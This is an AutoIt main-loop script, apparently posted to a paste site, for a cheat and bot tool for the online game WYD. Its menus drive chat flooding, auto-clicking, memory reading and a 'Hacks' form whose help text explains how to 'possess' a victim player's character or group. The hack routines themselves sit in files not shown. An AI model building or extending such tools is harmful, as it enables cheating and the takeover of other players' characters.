- ;========================================================
- ; SIMULATE CLICK
- #include "Secundarias/SimulateClick.au3" ; Gui SimulateClick
- #include "Secundarias/Func/SimulateClick/SimulateClick.au3" ; Chama a função do SimulateClick
- ;========================================================
- ; AUTO DROP - 80%
- #include "Secundarias/AutoDrop.au3" ; Gui Auto Drop
- #include "Secundarias/Func/AutoDrop/AutoDrop.au3" ; Chama a função do Auto Drop
- #include "Secundarias/Func/AutoDrop/ItenID.au3" ; Carrega a lista do nome e id dos Itens
- ;========================================================
- ; REFINAR NYERDS
- #include "Secundarias/RefinarNyerds.au3" ; Gui Refinar Nyerds
- #include "Secundarias/Func/RefinarNyerds/RefinarNyerds.au3" ; Chama a função do Refinar Nyerds
- ;========================================================
- ; TIRAR PET
- #include "Secundarias/TirarPet.au3" ; Gui Tirar Pet
- ;~ #include "Secundarias/Func/TirarPet/TirarPet.au3" ; Chama a função do Tirar Pet
- ;========================================================
- ; ITEN FINDER
- #include "Secundarias/ItenFinder.au3" ; Gui Iten Finder
- #include "Secundarias/Func/ItenFinder/ItenFinder.au3" ; Chama a função do Iten Finder
- ;========================================================
- ;========================================================
- ; ----- ATUALIZADOR
- ;========================================================
- #include "Atualizar.au3" ; Chama a include onde esta a função do Atualizador
- ;========================================================
- While 1
- $nMsg = GUIGetMsg()
- Switch $nMsg
- Case $GUI_EVENT_CLOSE ; Chama o botão "x" (Fechar)
- Exit ; Executa o comando exit (Sair)
- ;========================================================
- ; ----- BOTÕES E MENUS
- ;========================================================
- ; ABRIR WYD
- Case $Button13 ; Botão Abrir WYD
- If Not IsDeclared("iMsgBoxAnswer") Then Local $iMsgBoxAnswer
- $iMsgBoxAnswer = MsgBox(4, $Janela, "Você deseja abrir um WYD?")
- Select
- Case $iMsgBoxAnswer = 6 ; Sim ; Se apertar Sim
- $Dir = FileOpenDialog("Escolha o WYD.exe", "WYD.exe", "Escolha o arquivo para iniciar(*.exe)", 1, "") ; Abre o OpenDialog
- If Not FileExists($Dir) Then ; Se não tiver Diretório
- MsgBox(16, $Janela, "Diretorio do Executavel nao foi encontrado!")
- Else
- GUICtrlSetData($Input3, $Dir)
- Run($Dir)
- Sleep(500)
- GUICtrlSetData($Input2, _NowTime() & " - WYD Aberto!")
- EndIf
- EndSelect
- Case $Button14 ; Botão Fechar WYD
- $Kill = WinKill(GUICtrlRead($ExecW)) ; Fecha a janela que ta no "$ExecW" (With Your Destiny"
- If $Kill = 0 Then
- MsgBox(16, $Janela, "Janela não Encontrada!" & @CR & "Tentou fechar a Janela: " & GUICtrlRead($ExecW))
- EndIf
- ;========================================================
- ; MENU ITEM CREDITOS
- Case $MenuItem1 ; Chama o MenuItem Creditos
- MsgBox(0, $Janela, "Créditos:" & @CR & " - XBenny" & @CR & "Agradecimentos:" & @CR & " - Necros" & @CR & " - SkinF4xi") ; Função ao clicar Nele (Mensagem)
- ;========================================================
- ; MENU ITEM SAIR
- Case $MenuItem4 ; Chama o MenuItem Sair
- Exit ; Função ao clicar Nele (Sair)
- ;========================================================
- ; MENU ITEM ATUALIZAR
- Case $MenuItem3 ; Chama o MenuItem Atualizar
- Atualizacao() ; Chama a função do Atualizador
- ;========================================================
- ; ----- FORMS SECUNDARIAS
- ;========================================================
- ; FORM RENOMEAR
- Case $Button8 ; Botão do Renomear FORM PRINCIPAL
- GUISetState(@SW_SHOW, $Renomear) ; Se clicar no botão da form principal mostra a form do Renomear
- ;---
- Case $renomear_Button1 ; Botão Renomear
- $N_Antigo = GUICtrlRead($renomear_Input1) ; Atualiza os dados do input para sempre pegar o novo Nome
- $N_Nome = GUICtrlRead($renomear_Input2) ; Atualiza os dados do input para sempre pegar o novo Nome
- Sleep(50)
- Renomear() ; Chama a Função
- ;---
- Case $renomear_Sair ; Botão Sair
- GUISetState(@SW_HIDE, $Renomear) ; Se clicar no botão sair, fecha a form do Renomear
- ;========================================================
- ; FORM OCULTAR
- Case $Button10 ; Botão do Ocultar FORM PRINCIPAL
- GUISetState(@SW_SHOW, $Ocultar) ; Se clicar no botão da form principal mostra a form do Ocultar
- ;---
- Case $ocultar_Button1 ; Botão Ocultar
- Ocultar() ; Chama a Função
- ;---
- Case $ocultar_Button2 ; Botão Mostrar
- Mostrar() ; Chama a Função
- ;---
- Case $ocultar_Sair ; Botão Sair
- GUISetState(@SW_HIDE, $Ocultar) ; Se clicar no botão sair, fecha a form do Ocultar
- ;========================================================
- ; FORM AUTODROP
- Case $Button4 ; Botão do AutoDrop FORM PRINCIPAL
- GUISetState(@SW_SHOW, $AutoDrop) ; Se clicar no botão da form principal mostra a form do Ocultar
- ;---
- Case $autodrop_Button3 ; Botão Ativar
- $Remover = True ; Declara a variavel como true, começa a verificar os itens para Deletar
- ;---
- Case $autodrop_Button4 ; Botão Desativar
- $Remover = False ; Declara a variavel como false, não verifica os itens para Deletar
- ;---
- Case $autodrop_Sair ; Botão Sair
- GUISetState(@SW_HIDE, $AutoDrop) ; Se clicar no botão sair, fecha a form do Ocultar
- ;========================================================
- ; FORM AUTO FLOOD
- Case $Button2 ; Botão do Ocultar FORM PRINCIPAL
- GUISetState(@SW_SHOW, $AutoFlood) ; Se clicar no botão da form principal mostra a form do Auto Flood
- ;---
- Case $autoflood_Button1 ; Botão do Auto Flood Simples
- $Auto_Flood_Plus = False
- $Min = @MIN
- $Sec = @SEC
- $T_F_S = $T_F_S + 1
- If $T_F_S / 2 = 1 Then
- GUICtrlSetData($autoflood_Button1, "Desativar Flood Simples")
- $T_F_S = 0
- $Auto_Flood_Simples = True
- GUICtrlSetData($Input2, _NowTime() & " - Auto Flood Simples Ativado!")
- GUICtrlSetState($autoflood_Button2, $GUI_DISABLE)
- Flood_Simples()
- Else
- GUICtrlSetData($autoflood_Button1, "Ativar Flood Simples")
- $Auto_Flood_Simples = False
- GUICtrlSetData($Input2, _NowTime() & " - Auto Flood Simples Desativado!")
- GUICtrlSetState($autoflood_Button2, $GUI_ENABLE)
- Flood_Simples()
- EndIf
- ;---
- Case $autoflood_Button2 ; Botão do Auto Flood Personalizado
- $Auto_Flood_Simples = False
- $Min = @MIN
- $Sec = @SEC
- $T_F_P = $T_F_P + 1
- If $T_F_P / 2 = 1 Then
- GUICtrlSetData($autoflood_Button2, "Desativar Flood Plus") ; Muda o nome do Botão
- $T_F_P = 0
- $Auto_Flood_Plus = True
- GUICtrlSetData($Input2, _NowTime() & " - Auto Flood Plus Ativado!")
- GUICtrlSetState($autoflood_Button1, $GUI_DISABLE) ; Desabilita o botão do Flood Normal
- Flood_Plus() ; Chama a Função
- Else
- GUICtrlSetData($autoflood_Button2, "Ativar Flood Plus") ; Muda o nome do Botão
- $Auto_Flood_Plus = False
- GUICtrlSetData($Input2, _NowTime() & " - Auto Flood Plus Desativado!")
- GUICtrlSetState($autoflood_Button1, $GUI_ENABLE) ; Habilita o botão do Flood Normal
- Flood_Plus() ; Chama a Função
- EndIf
- ;---
- Case $autoflood_Sair ; Botão Sair
- GUISetState(@SW_HIDE, $AutoFlood) ; Se clicar no botão sair, fecha a form do AutoFlood
- ;========================================================
- ; FORM AVISAR-ME
- Case $Button6 ; Botão do Avisar-me FORM PRINCIPAL
- GUISetState(@SW_SHOW, $Avisar) ; Se clicar no botão da form principal mostra a form do Avisar-me
- ;---
- GUICtrlSetState($avisar_Checkbox3, $GUI_CHECKED) ; Bota o Checkbox3 como Marcado, se tirar vai ficar clicando e apertando enter sem Parar
- ; Não Chama função pois a função esta no WEnd, para chamar toda Hora.
- ;---
- Case $avisar_Sair ; Botão Sair
- GUISetState(@SW_HIDE, $Avisar) ; Se clicar no botão sair, fecha a form do Avisar
- ;========================================================
- ; FORM ITEN FINDER
- Case $Button12 ; Botão do Iten Finder FORM PRINCIPAL
- GUISetState(@SW_SHOW, $ItenFinder) ; Se clicar no botão da form principal mostra a form do Iten Finder
- ;---
- Case $itenfinder_Button1 ; Botão do Procurar
- ItenFinder() ; Chama a função de procurar Itens
- ;---
- Case $itenfinder_Sair ; Botão Sair
- GUISetState(@SW_HIDE, $ItenFinder) ; Se clicar no botão sair, fecha a form do Iten Finder
- ;========================================================
- ; FORM HACKS
- Case $Button7 ; Botão do Hack FORM PRINCIPAL
- GUISetState(@SW_SHOW, $Hacks) ; Se clicar no botão da form principal mostra a form dos Hacks
- ;---
- Case $hacks_Button1 ; Botão "Como usar o possuir Char?"
- MsgBox(0, $Janela, "1ª - Pegue o ClientID da Vitíma:" & @CR & "CTRL + Botão direito em cima Dela" & @CR & "2ª - Digite o comando para ativar o Hack") ; Mostra a Mensagem
- ;---
- Case $hacks_Button5 ; Botão "Como usar o possuir Grupo?"
- MsgBox(0, $Janela, "1ª - Pegue o ClientID da Vitíma:" & @CR & "CTRL + Botão direito em cima Dela" & @CR & "2ª - Pegue o nome da Vitíma:" & @CR & "SHIFT + Botão direito em cima de Dela" & @CR & "3ª - Clique no botão para ativar o Hack") ; Mostra a Mensagem
- ;---
- Case $hacks_Button6 ; Botão "Possuir"
- If GUICtrlRead($hacks_Label14) = 0 Or GUICtrlRead($hacks_Label16) = 0 Then ; Se acontecer algum dos Casos
- MsgBox(0, $Janela, "Faça todos os processos corretamente para Funcionar!") ; Manda a Mensagem
- Else ; Senão
- Ativar_Possuir_Grupo() ; Chama a Função
- EndIf
- ;---
- Case $hacks_Button2 ; Botão "Retirar Paisagem"
- Desativar_Paisagem()
- ;---
- Case $hacks_Button3 ; Botão "Mostrar Paisagem"
- Ativar_Paisagem()
- ;---
- Case $hacks_Sair ; Botão Sair
- GUISetState(@SW_HIDE, $Hacks) ; Se clicar no botão sair, fecha a form dos Hacks
- ;========================================================
- ; FORM REFINAR NYERDS
- Case $Button16 ; Botão do Refinar Nyerds FORM PRINCIPAL
- GUISetState(@SW_SHOW, $RefinarNyerds) ; Se clicar no botão da form principal mostra a form do Refinar Nyerds
- ;---
- Case $refinarnyerds_Button1 ; Botão "Ativar"
- If GUICtrlRead($refinarnyerds_Radio1) = 1 Then ; Se o radio button1 estiver Marcado
- If GUICtrlRead($refinarnyerds_Label8) = 0 Then ; Se o slot1 estiver vazio (slota da PO)
- MsgBox(0, $Janela, "Não possuiu Poeira de Oriharucon no Slot1.") ; Manda a Mensagem
- Else
- $Refinar = True ; Define a variavel como True (Ativado)
- EndIf
- EndIf
- If GUICtrlRead($refinarnyerds_Radio2) = 1 Then ; Se o radio button2 estiver Marcado
- If GUICtrlRead($refinarnyerds_Label9) = 0 Then ; Se o slot2 estiver vazio (slota da PL)
- MsgBox(0, $Janela, "Não possuiu Poeira de Lactolerium no Slot2.") ; Manda a Mensagem
- Else
- $Refinar = True ; Define a variavel como True (Ativado)
- EndIf
- EndIf
- ;---
- Case $refinarnyerds_Button2 ; Botão "Desativar"
- $Refinar = False ; Define a variavel como False (Desativado)
- ;---
- Case $refinarnyerds_Sair ; Botão Sair
- GUISetState(@SW_HIDE, $RefinarNyerds) ; Se clicar no botão sair, fecha a form do Refinar Nyerds
- ;========================================================
- ; FORM DESLIGAR PC
- Case $Button9 ; Botão do DesligarPC
- GUISetState(@SW_SHOW, $DesligarPC) ; Se clicar no botão da form principal mostra a form dos Hacks
- ;---
- ;---
- Case $desligarpc_Sair ; Botão Sair
- GUISetState(@SW_HIDE, $DesligarPC) ; Se clicar no botão sair, fecha a form dos Hacks
- ;========================================================
- ; FORM TIRAR PET
- Case $Button11 ; Botão do TirarPet
- GUISetState(@SW_SHOW, $TirarPet) ; Se clicar no botão da form principal mostra a form do Tirar Pet
- ;---
- ;---
- Case $tirarpet_Sair ; Botão Sair
- GUISetState(@SW_HIDE, $TirarPet) ; Se clicar no botão sair, fecha a form do Tirar Pet
- ;========================================================
- ; FORM SIMULATE CLICK
- Case $Button3 ; Botão do SimulateClick FORM PRINCIPAL
- GUISetState(@SW_SHOW, $SimulateClick) ; Se clicar no botão da form principal mostra a form do AutoAS
- ;---
- Case $simulateclick_Button1 ; Se clicar no botão Ativar
- Ligar_Simulate() ; Chama a função para Ligar
- Case $simulateclick_Button2 ; Se clicar no botão Desativar
- Desligar_Simulate() ; Chama a função para Desligar
- Case $simulateclick_Button3
- Coordenada() ; Chama a função da Coordenada
- ;---
- Case $simulateclick_Sair ; Botão Sair
- GUISetState(@SW_HIDE, $SimulateClick) ; Se clicar no botão sair, fecha a form do SimulateClick
- ;========================================================
- EndSwitch
- ;========================================================
- ; CHAMAR FUNÇÕES A CADA 1 SEGUNDO
- Sleep(10)
- If _Timer_Diff($Sleep) > $Tempo_Sleep Then ; Sleep sem parar o Programa
- $Tempo_Sleep = $Tempo_Sleep + 1000.00000000000
- ;---
- Refresh() ; Chama a função do Refresh nas funções do label Principal
- ReadAddress() ; Chama a função pra poder atualizar os address toda Hora
- Process() ; Chama a função de pegar o processo, para atualizar a janela do programa toda Hora
- Avisar_me() ; Chama a Função a cada 1 segundo sem pausar o Programa
- Flood_Simples() ; Chama a função do Flood, para ele funcionar e ficar repetindo a Mensagem
- Flood_Plus() ; Chama a função do Flood, para ele funcionar e ficar repetindo a Mensagem
- Simulate_Click() ; Chama a funçã do SimulateClick, para clicar + de uma vez. Não clicar uma vez Só
- Escrever() ; Escreve o valor do address do say em um Label
- Chamar_Comando() ; Chama os Comandos
- Client_ID() ; Escreve o ID do Char
- Desligar_PC() ; Chama a função do DesligarPC, para contar o tempo e editar o label Corretamente
- Refinar_Nyerds() ; Chama a função de refinar a Nyerds toda Hora
- Dados() ; Chama a função de pegar os dados toda Hora
- AutoDrop() ; Chama a função da bag para atualizar as sends e os address dos Baus
- ;========================================================
- ; FUNÇÃO DOS SONS
- If GUICtrlRead($Sounds) = 1 Then ; Verifica se o Checkbox está Marcado
- If ProcessExists($Processo) Then ; Verifica se o processo do wyd esta Aberto
- Tocar($Theme, 0) ; Toca a Música
- EndIf
- IniWrite("Data/XB.xb", "Configurações", "Sons", "True") ; Se Estiver
- IniWrite("Data/XB.xb", "Configurações", "Status", "1") ; Se Estiver
- Else ; Senão estive Checked
- IniWrite("Data/XB.xb", "Configurações", "Sons", "False") ; Se não Estiver
- IniWrite("Data/XB.xb", "Configurações", "Status", "0") ; Se não Estiver
- Nao_Tocar($Theme) ; Pausa o Som "Theme"
- EndIf
- ;========================================================
- ; DELETAR FORM E MOSTRA FORM PRINCIPAL
- ;~ If Not ProcessExists($Processo) Then GUICtrlSetData($carregando_Label1, "Para começar abra o "&$Processo) ; Se o processo do wyd não estiver aberto ela manda a Mensagem
- ;~ If $Read_Tela_Servidor = 1 And ProcessExists($Processo) Then GUICtrlSetData($carregando_Label1, "Agora selecione o Servidor!") ; Se o address estiver como 1 ele escreve a mensagem no Label
- ;~ If $Read_Tela_Login = 1 And ProcessExists($Processo) Then GUICtrlSetData($carregando_Label1, "Agora logue sua Conta!") ; Se aparecer a janela de digitar a senha ele manda a Mensagem
- ;~ If $Read_Tela_Numerica = 1 And ProcessExists($Processo) Then GUICtrlSetData($carregando_Label1, "Digite sua senha Numérica!") ; Se aparecer a janela de digitar a senha numérica ele manda a Mensagem
- ;~ If $Read_Tela_Login = 0 And $Read_Tela_Numerica = 0 And $Read_Tela_Servidor = 0 And ProcessExists($Processo) Then GUICtrlSetData($carregando_Label1, "Agora logue seu Char!") ; Se o login estiver como 0 e a tela de senha numerica/tela de servidor tambem ele manda a Mensagem
- ;~ If ProcessExists($Processo) And $Read_Tela_Servidor = 0 And $Read_Tela_Login = 0 And $Read_Tela_Numerica = 0 And $Read_HP > 0 And $Read_MP > 0 Then ; Se ja tiver passado por todas etapas, e o hp/mp estiver maior doque 0
- GUISetState(@SW_SHOW, $Principal)
- ;~ Sleep(50)
- GUIDelete($Carregando)
- ;~ EndIf
- ;---
- EndIf ; Termina função do Sleep
- ;========================================================
- WEnd
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement